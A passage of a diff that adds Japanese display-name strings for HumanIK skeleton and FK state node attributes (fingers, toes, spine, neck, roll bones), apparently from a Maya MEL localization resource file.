+setAttrNiceNameResource( "HIKSK2State", "RightFootIndex4GX", "右足人差指 4 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootMiddle1GX", "右足中指 1 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootMiddle2GX", "右足中指 2 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootMiddle3GX", "右足中指 3 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootMiddle4GX", "右足中指 4 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootRing1GX", "右足薬指 1 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootRing2GX", "右足薬指 2 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootRing3GX", "右足薬指 3 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootRing4GX", "右足薬指 4 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootPinky1GX", "右足小指 1 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootPinky2GX", "右足小指 2 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootPinky3GX", "右足小指 3 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootPinky4GX", "右足小指 4 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootExtraFinger1GX", "右足追加指 1 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootExtraFinger2GX", "右足追加指 2 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootExtraFinger3GX", "右足追加指 3 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightFootExtraFinger4GX", "右足追加指 4 の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftInHandThumbGX", "左手内側の親指の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftInHandIndexGX", "左手内側の人差指の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftInHandMiddleGX", "左手内側の中指の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftInHandRingGX", "左手内側の薬指の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftInHandPinkyGX", "左手内側の小指の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftInHandExtraFingerGX", "左手内側の追加指の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightInHandThumbGX", "右手内側の親指の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightInHandIndexGX", "右手内側の人差指の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightInHandMiddleGX", "右手内側の中指の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightInHandRingGX", "右手内側の薬指の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightInHandPinkyGX", "右手内側の小指の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightInHandExtraFingerGX", "右手内側の追加指の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftInFootThumbGX", "左足内側の親指の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftInFootIndexGX", "左足内側の人差指の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftInFootMiddleGX", "左足内側の中指の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftInFootRingGX", "左足内側の薬指の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftInFootPinkyGX", "左足内側の小指の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftInFootExtraFingerGX", "左足内側の追加指の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightInFootThumbGX", "右足内側の親指の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightInFootIndexGX", "右足内側の人差指の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightInFootMiddleGX", "右足内側の中指の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightInFootRingGX", "右足内側の薬指の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightInFootPinkyGX", "右足内側の小指の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightInFootExtraFingerGX", "右足内側の追加指の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeftShoulderExtraGX", "追加の左肩の GX" ); +setAttrNiceNameResource( "HIKSK2State", "RightShoulderExtraGX", "追加の右肩の GX" ); +setAttrNiceNameResource( "HIKSK2State", "LeafLeftUpLegRoll1GX", "左大腿部ロール 1 GX 可動部" ); +setAttrNiceNameResource( "HIKSK2State", "LeafLeftLegRoll1GX", "左脚ロール 1 GX 可動部" ); +setAttrNiceNameResource( "HIKSK2State", "LeafRightUpLegRoll1GX", "右大腿部ロール 1 GX 可動部" ); +setAttrNiceNameResource( "HIKSK2State", "LeafRightLegRoll1GX", "右脚ロール 1 GX 可動部" ); +setAttrNiceNameResource( "HIKSK2State", "LeafLeftArmRoll1GX", "左腕ロール 1 GX 可動部" ); +setAttrNiceNameResource( "HIKSK2State", "LeafLeftForeArmRoll1GX", "左前腕ロール 1 GX 可動部" ); +setAttrNiceNameResource( "HIKSK2State", "LeafRightArmRoll1GX", "右腕ロール 1 GX 可動部" ); +setAttrNiceNameResource( "HIKSK2State", "LeafRightForeArmRoll1GX", "右前腕ロール 1 GX 可動部" ); +setAttrNiceNameResource( "HIKSK2State", "LeafLeftUpLegRoll2GX", "左大腿部ロール 2 の GX 可動部" ); +setAttrNiceNameResource( "HIKSK2State", "LeafLeftLegRoll2GX", "左脚ロール 2 の GX 可動部" ); +setAttrNiceNameResource( "HIKSK2State", "LeafRightUpLegRoll2GX", "右大腿部ロール 2 の GX 可動部" ); +setAttrNiceNameResource( "HIKSK2State", "LeafRightLegRoll2GX", "右脚ロール 2 の GX 可動部" ); +setAttrNiceNameResource( "HIKSK2State", "LeafLeftArmRoll2GX", "左腕ロール 2 の GX 可動部" ); +setAttrNiceNameResource( "HIKSK2State", "LeafLeftForeArmRoll2GX", "左前腕ロール 2 の GX 可動部" ); +setAttrNiceNameResource( "HIKSK2State", "LeafRightArmRoll2GX", "右腕ロール 2 の GX 可動部" ); +setAttrNiceNameResource( "HIKSK2State", "LeafRightForeArmRoll2GX", "右前腕ロール 2 の GX 可動部" ); +setAttrNiceNameResource( "HIKSK2State", "LeafLeftUpLegRoll3GX", "左大腿部ロール 3 の GX 可動部" ); +setAttrNiceNameResource( "HIKSK2State", "LeafLeftLegRoll3GX", "左脚ロール 3 の GX 可動部" ); +setAttrNiceNameResource( "HIKSK2State", "LeafRightUpLegRoll3GX", "右大腿部ロール 3 の GX 可動部" ); +setAttrNiceNameResource( "HIKSK2State", "LeafRightLegRoll3GX", "右脚ロール 3 の GX 可動部" ); +setAttrNiceNameResource( "HIKSK2State", "LeafLeftArmRoll3GX", "左腕ロール 3 の GX 可動部" ); +setAttrNiceNameResource( "HIKSK2State", "LeafLeftForeArmRoll3GX", "左前腕ロール 3 の GX 可動部" ); +setAttrNiceNameResource( "HIKSK2State", "LeafRightArmRoll3GX", "右腕ロール 3 の GX 可動部" ); +setAttrNiceNameResource( "HIKSK2State", "LeafRightForeArmRoll3GX", "右前腕ロール 3 の GX 可動部" ); +setAttrNiceNameResource( "HIKSK2State", "LeafLeftUpLegRoll4GX", "左大腿部ロール 4 の GX 可動部" ); +setAttrNiceNameResource( "HIKSK2State", "LeafLeftLegRoll4GX", "左脚ロール 4 の GX 可動部" ); +setAttrNiceNameResource( "HIKSK2State", "LeafRightUpLegRoll4GX", "右大腿部ロール 4 の GX 可動部" ); +setAttrNiceNameResource( "HIKSK2State", "LeafRightLegRoll4GX", "右脚ロール 4 の GX 可動部" ); +setAttrNiceNameResource( "HIKSK2State", "LeafLeftArmRoll4GX", "左腕ロール 4 の GX 可動部" ); +setAttrNiceNameResource( "HIKSK2State", "LeafLeftForeArmRoll4GX", "左前腕ロール 4 の GX 可動部" ); +setAttrNiceNameResource( "HIKSK2State", "LeafRightArmRoll4GX", "右腕ロール 4 の GX 可動部" ); +setAttrNiceNameResource( "HIKSK2State", "LeafRightForeArmRoll4GX", "右前腕ロール 4 の GX 可動部" ); +setAttrNiceNameResource( "HIKSK2State", "LeafLeftUpLegRoll5GX", "左大腿部ロール 5 の GX 可動部" ); +setAttrNiceNameResource( "HIKSK2State", "LeafLeftLegRoll5GX", "左脚ロール 5 の GX 可動部" ); +setAttrNiceNameResource( "HIKSK2State", "LeafRightUpLegRoll5GX", "右大腿部ロール 5 の GX 可動部" ); +setAttrNiceNameResource( "HIKSK2State", "LeafRightLegRoll5GX", "右脚ロール 5 の GX 可動部" ); +setAttrNiceNameResource( "HIKSK2State", "LeafLeftArmRoll5GX", "左腕ロール 5 の GX 可動部" ); +setAttrNiceNameResource( "HIKSK2State", "LeafLeftForeArmRoll5GX", "左前腕ロール 5 の GX 可動部" ); +setAttrNiceNameResource( "HIKSK2State", "LeafRightArmRoll5GX", "右腕ロール 5 の GX 可動部" ); +setAttrNiceNameResource( "HIKSK2State", "LeafRightForeArmRoll5GX", "右前腕ロール 5 の GX 可動部" ); +setAttrNiceNameResource( "HIKSK2State", "fza", "フリーズの影響を受ける" ); +// +// Node: HIKFK2State +// +setNodeNiceNameResource( "HIKFK2State", "HIKFK2State" ); +setAttrNiceNameResource( "HIKFK2State", "fzn", "フリーズ" ); +setAttrNiceNameResource( "HIKFK2State", "OutputCharacterState", "出力キャラクタの状態" ); +setAttrNiceNameResource( "HIKFK2State", "InputCharacterDefinition", "入力キャラクタ定義" ); +setAttrNiceNameResource( "HIKFK2State", "ReferenceGX", "リファレンスの GX" ); +setAttrNiceNameResource( "HIKFK2State", "HipsGX", "ヒップの GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftUpLegGX", "左大腿部の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftLegGX", "左脚の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootGX", "左足の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightUpLegGX", "右大腿部の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightLegGX", "右脚の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootGX", "右足の GX" ); +setAttrNiceNameResource( "HIKFK2State", "SpineGX", "脊椎の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftArmGX", "左腕の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftForeArmGX", "左前腕の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandGX", "左手の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightArmGX", "右腕の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightForeArmGX", "右前腕の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandGX", "右手の GX" ); +setAttrNiceNameResource( "HIKFK2State", "HeadGX", "頭の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftToeBaseGX", "左足指のベースの GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightToeBaseGX", "右足指のベースの GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftShoulderGX", "左肩の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightShoulderGX", "右肩の GX" ); +setAttrNiceNameResource( "HIKFK2State", "NeckGX", "首の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFingerBaseGX", "左指のベースの GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFingerBaseGX", "右指のベースの GX" ); +setAttrNiceNameResource( "HIKFK2State", "Spine1GX", "脊椎 1 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "Spine2GX", "脊椎 2 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "Spine3GX", "脊椎 3 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "Spine4GX", "脊椎 4 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "Spine5GX", "脊椎 5 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "Spine6GX", "脊椎 6 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "Spine7GX", "脊椎 7 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "Spine8GX", "脊椎 8 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "Spine9GX", "脊椎 9 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "Neck1GX", "首 1 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "Neck2GX", "首 2 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "Neck3GX", "首 3 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "Neck4GX", "首 4 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "Neck5GX", "首 5 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "Neck6GX", "首 6 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "Neck7GX", "首 7 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "Neck8GX", "首 8 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "Neck9GX", "首 9 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftUpLegRollGX", "左大腿部ロールの GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftLegRollGX", "左脚ロールの GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightUpLegRollGX", "右大腿部ロールの GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightLegRollGX", "右脚ロールの GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftArmRollGX", "左腕のロールの GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftForeArmRollGX", "左前腕のロールの GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightArmRollGX", "右腕のロールの GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightForeArmRollGX", "右前腕のロールの GX" ); +setAttrNiceNameResource( "HIKFK2State", "HipsTranslationGX", "ヒップの移動の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandThumb1GX", "左手親指 1 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandThumb2GX", "左手親指 2 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandThumb3GX", "左手親指 3 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandThumb4GX", "左手親指 4 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandIndex1GX", "左手人差指 1 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandIndex2GX", "左手人差指 2 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandIndex3GX", "左手人差指 3 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandIndex4GX", "左手人差指 4 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandMiddle1GX", "左手中指 1 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandMiddle2GX", "左手中指 2 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandMiddle3GX", "左手中指 3 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandMiddle4GX", "左手中指 4 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandRing1GX", "左手薬指 1 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandRing2GX", "左手薬指 2 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandRing3GX", "左手薬指 3 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandRing4GX", "左手薬指 4 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandPinky1GX", "左手小指 1 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandPinky2GX", "左手小指 2 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandPinky3GX", "左手小指 3 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandPinky4GX", "左手小指 4 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandExtraFinger1GX", "左手追加指 1 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandExtraFinger2GX", "左手追加指 2 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandExtraFinger3GX", "左手追加指 3 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftHandExtraFinger4GX", "左手追加指 4 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandThumb1GX", "右手親指 1 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandThumb2GX", "右手親指 2 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandThumb3GX", "右手親指 3 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandThumb4GX", "右手親指 4 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandIndex1GX", "右手人差指 1 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandIndex2GX", "右手人差指 2 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandIndex3GX", "右手人差指 3 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandIndex4GX", "右手人差指 4 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandMiddle1GX", "右手中指 1 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandMiddle2GX", "右手中指 2 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandMiddle3GX", "右手中指 3 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandMiddle4GX", "右手中指 4 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandRing1GX", "右手薬指 1 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandRing2GX", "右手薬指 2 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandRing3GX", "右手薬指 3 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandRing4GX", "右手薬指 4 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandPinky1GX", "右手小指 1 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandPinky2GX", "右手小指 2 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandPinky3GX", "右手小指 3 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandPinky4GX", "右手小指 4 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandExtraFinger1GX", "右手追加指 1 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandExtraFinger2GX", "右手追加指 2 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandExtraFinger3GX", "右手追加指 3 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightHandExtraFinger4GX", "右手追加指 4 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootThumb1GX", "左足親指 1 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootThumb2GX", "左足親指 2 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootThumb3GX", "左足親指 3 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootThumb4GX", "左足親指 4 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootIndex1GX", "左足人差指 1 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootIndex2GX", "左足人差指 2 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootIndex3GX", "左足人差指 3 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootIndex4GX", "左足人差指 4 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootMiddle1GX", "左足中指 1 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootMiddle2GX", "左足中指 2 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootMiddle3GX", "左足中指 3 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootMiddle4GX", "左足中指 4 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootRing1GX", "左足薬指 1 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootRing2GX", "左足薬指 2 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootRing3GX", "左足薬指 3 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootRing4GX", "左足薬指 4 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootPinky1GX", "左足小指 1 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootPinky2GX", "左足小指 2 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootPinky3GX", "左足小指 3 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootPinky4GX", "左足小指 4 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootExtraFinger1GX", "左足追加指 1 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootExtraFinger2GX", "左足追加指 2 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootExtraFinger3GX", "左足追加指 3 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftFootExtraFinger4GX", "左足追加指 4 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootThumb1GX", "右足親指 1 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootThumb2GX", "右足親指 2 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootThumb3GX", "右足親指 3 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootThumb4GX", "右足親指 4 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootIndex1GX", "右足人差指 1 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootIndex2GX", "右足人差指 2 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootIndex3GX", "右足人差指 3 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootIndex4GX", "右足人差指 4 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootMiddle1GX", "右足中指 1 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootMiddle2GX", "右足中指 2 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootMiddle3GX", "右足中指 3 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootMiddle4GX", "右足中指 4 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootRing1GX", "右足薬指 1 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootRing2GX", "右足薬指 2 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootRing3GX", "右足薬指 3 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootRing4GX", "右足薬指 4 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootPinky1GX", "右足小指 1 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootPinky2GX", "右足小指 2 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootPinky3GX", "右足小指 3 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootPinky4GX", "右足小指 4 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootExtraFinger1GX", "右足追加指 1 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootExtraFinger2GX", "右足追加指 2 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootExtraFinger3GX", "右足追加指 3 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightFootExtraFinger4GX", "右足追加指 4 の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftInHandThumbGX", "左手内側の親指の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftInHandIndexGX", "左手内側の人差指の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftInHandMiddleGX", "左手内側の中指の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftInHandRingGX", "左手内側の薬指の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftInHandPinkyGX", "左手内側の小指の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftInHandExtraFingerGX", "左手内側の追加指の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightInHandThumbGX", "右手内側の親指の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightInHandIndexGX", "右手内側の人差指の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightInHandMiddleGX", "右手内側の中指の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightInHandRingGX", "右手内側の薬指の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightInHandPinkyGX", "右手内側の小指の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightInHandExtraFingerGX", "右手内側の追加指の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftInFootThumbGX", "左足内側の親指の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftInFootIndexGX", "左足内側の人差指の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftInFootMiddleGX", "左足内側の中指の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftInFootRingGX", "左足内側の薬指の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftInFootPinkyGX", "左足内側の小指の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftInFootExtraFingerGX", "左足内側の追加指の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightInFootThumbGX", "右足内側の親指の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightInFootIndexGX", "右足内側の人差指の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightInFootMiddleGX", "右足内側の中指の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightInFootRingGX", "右足内側の薬指の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightInFootPinkyGX", "右足内側の小指の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightInFootExtraFingerGX", "右足内側の追加指の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeftShoulderExtraGX", "追加の左肩の GX" ); +setAttrNiceNameResource( "HIKFK2State", "RightShoulderExtraGX", "追加の右肩の GX" ); +setAttrNiceNameResource( "HIKFK2State", "LeafLeftUpLegRoll1GX", "左大腿部ロール 1 GX 可動部" ); +setAttrNiceNameResource( "HIKFK2State", "LeafLeftLegRoll1GX", "左脚ロール 1 GX 可動部" ); +setAttrNiceNameResource( "HIKFK2State", "LeafRightUpLegRoll1GX", "右大腿部ロール 1 GX 可動部" ); +setAttrNiceNameResource( "HIKFK2State", "LeafRightLegRoll1GX", "右脚ロール 1 GX 可動部" ); +setAttrNiceNameResource( "HIKFK2State", "LeafLeftArmRoll1GX", "左腕ロール 1 GX 可動部" ); +setAttrNiceNameResource( "HIKFK2State", "LeafLeftForeArmRoll1GX", "左前腕ロール 1 GX 可動部" ); +setAttrNiceNameResource( "HIKFK2State", "LeafRightArmRoll1GX", "右腕ロール 1 GX 可動部" ); +setAttrNiceNameResource( "HIKFK2State", "LeafRightForeArmRoll1GX", "右前腕ロール 1 GX 可動部" ); +setAttrNiceNameResource( "HIKFK2State", "LeafLeftUpLegRoll2GX", "左大腿部ロール 2 の GX 可動部" ); +setAttrNiceNameResource( "HIKFK2State", "LeafLeftLegRoll2GX", "左脚ロール 2 の GX 可動部" ); +setAttrNiceNameResource( "HIKFK2State", "LeafRightUpLegRoll2GX", "右大腿部ロール 2 の GX 可動部" ); +setAttrNiceNameResource( "HIKFK2State", "LeafRightLegRoll2GX", "右脚ロール 2 の GX 可動部" ); +setAttrNiceNameResource( "HIKFK2State", "LeafLeftArmRoll2GX", "左腕ロール 2 の GX 可動部" ); +setAttrNiceNameResource( "HIKFK2State", "LeafLeftForeArmRoll2GX", "左前腕ロール 2 の GX 可動部" ); +setAttrNiceNameResource( "HIKFK2State", "LeafRightArmRoll2GX", "右腕ロール 2 の GX 可動部" ); +setAttrNiceNameResource( "HIKFK2State", "LeafRightForeArmRoll2GX", "右前腕ロール 2 の GX 可動部" ); +setAttrNiceNameResource( "HIKFK2State", "LeafLeftUpLegRoll3GX", "左大腿部ロール 3 の GX 可動部" ); +setAttrNiceNameResource( "HIKFK2State", "LeafLeftLegRoll3GX", "左脚ロール 3 の GX 可動部" ); +setAttrNiceNameResource( "HIKFK2State", "LeafRightUpLegRoll3GX", "右大腿部ロール 3 の GX 可動部" ); +setAttrNiceNameResource( "HIKFK2State", "LeafRightLegRoll3GX", "右脚ロール 3 の GX 可動部" ); +setAttrNiceNameResource( "HIKFK2State", "LeafLeftArmRoll3GX", "左腕ロール 3 の GX 可動部" ); +setAttrNiceNameResource( "HIKFK2State", "LeafLeftForeArmRoll3GX", "左前腕ロール 3 の GX 可動部" ); +setAttrNiceNameResource( "HIKFK2State", "LeafRightArmRoll3GX", "右腕ロール 3 の GX 可動部" ); +setAttrNiceNameResource( "HIKFK2State", "LeafRightForeArmRoll3GX", "右前腕ロール 3 の GX 可動部" ); +setAttrNiceNameResource( "HIKFK2State", "LeafLeftUpLegRoll4GX", "左大腿部ロール 4 の GX 可動部" ); +setAttrNiceNameResource( "HIKFK2State", "LeafLeftLegRoll4GX", "左脚ロール 4 の GX 可動部" ); +setAttrNiceNameResource( "HIKFK2State", "LeafRightUpLegRoll4GX", "右大腿部ロール 4 の GX 可動部" ); +setAttrNiceNameResource( "HIKFK2State", "LeafRightLegRoll4GX", "右脚ロール 4 の GX 可動部" ); +setAttrNiceNameResource( "HIKFK2State", "LeafLeftArmRoll4GX", "左腕ロール 4 の GX 可動部" ); +setAttrNiceNameResource( "HIKFK2State", "LeafLeftForeArmRoll4GX", "左前腕ロール 4 の GX 可動部" ); +setAttrNiceNameResource( "HIKFK2State", "LeafRightArmRoll4GX", "右腕ロール 4 の GX 可動部" ); +setAttrNiceNameResource( "HIKFK2State", "LeafRightForeArmRoll4GX", "右前腕ロール 4 の GX 可動部" ); +setAttrNiceNameResource( "HIKFK2State", "LeafLeftUpLegRoll5GX", "左大腿部ロール 5 の GX 可動部" ); +setAttrNiceNameResource( "HIKFK2State", "LeafLeftLegRoll5GX", "左脚ロール 5 の GX 可動部" ); +setAttrNiceNameResource( "HIKFK2State", "LeafRightUpLegRoll5GX", "右大腿部ロール 5 の GX 可動部" ); +setAttrNiceNameResource( "HIKFK2State", 